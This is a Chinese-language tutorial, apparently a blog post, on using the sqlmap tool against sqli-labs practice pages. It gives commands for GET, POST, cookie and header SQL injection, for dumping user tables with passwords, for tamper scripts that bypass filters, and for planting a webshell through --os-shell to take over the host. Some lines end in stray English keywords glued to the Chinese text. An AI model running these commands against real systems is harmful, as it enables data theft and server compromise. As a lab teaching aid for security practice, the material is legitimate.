SQLMAP常見用法

須要安裝python2的環境php

使用方法:python

用最基礎的get型注入開始mysql

一、當咱們發現注入點的時候,web

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"sql

二、查看全部的數據庫shell

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs數據庫

三、查看當前使用的數據庫cookie

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-dbless

四、發現使用的是security數據庫,接下來對此數據庫進行查詢post

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

五、查出全部表之後,對users表的列名進行查詢

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

六、users表中的列名已經知道了,能夠直接查出全部數據

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"

在「用戶」-》「.sqlmap」-》「output」可看到查詢結果

一、get請求

python2 sqlmap.py -u "urls" --dbms=mysql --batch --level 3 --risk 3

--dbms=mysql 指定數據庫爲mysql

--batch 不用點擊,一路自動默認

--level 3 level指的是payload的強度,分爲5擋,一般使用3級以上會有更多的payload

--risk 3 risk指的是風險等級,通常有3擋,主要也是跟攻擊的強度有關

二、post請求

第一種:python2 sqlmap.py -u "urls" --data="user=admin&pass=pass"

以sqli-lab 11關爲例:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-11/index.php" --data="uname=admin&passwd=admin" --dbms=mysql --batch

第二種:將post數據包抓下來後存放到sqlmap的工做目錄下,命名爲"1.txt"

python2 sqlmap.py -r "1.txt"

以sqli-lab 11關爲例:

python2 sqlmap.py -r "1.txt" --dbms=mysql --batch

三、http頭的注入

http頭注入就要用到--level 3,頭注入的要領就是提早聲明頭部信息。

cookie:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-20/index.php" --cookie="uname=admin" --level 3 --dbms=mysql --batch

這裏的--cookie只是設置我這個sqlmap腳本去請求的cookie值,只有加了--level 3以後纔會對cookie地方進行注入

referer,user-agent其餘的http:

原理和用法都跟cookie相同,參數不一樣而已,--referer= ,--user-agent=

最省力的方式就是講要注入的數據包抓包存放到sqlmap工做文件夾內,在要注入的地方後面加上*號,而後再使用-r像post注入同樣的用法

四、tamper使用

tamper是sqlmap中內置的一些繞過防禦過濾的一些字符轉換腳本

python2 sqlmap.py -u "urls" --tamper=""

tamper的路徑在\sqlmap\tamper下。tamper是死的,人是活的,要根據實際狀況靈活應用。

五、寫入webshell

當發現注入點,而且注入點可寫的狀況下

以less-1爲例:

一、獲取注入點 :

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --batch

二、查看當前用戶:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --current-user

三、確認當前用戶是否DBA(數據庫管理員)權限:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --is-dba

四、確認是DBA後,開始執行木馬寫入:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --os-shell

接下來會選擇腳本語言以及寫入的路徑,選擇好後就能夠直接得到系統權限。

相關文章
相關標籤/搜索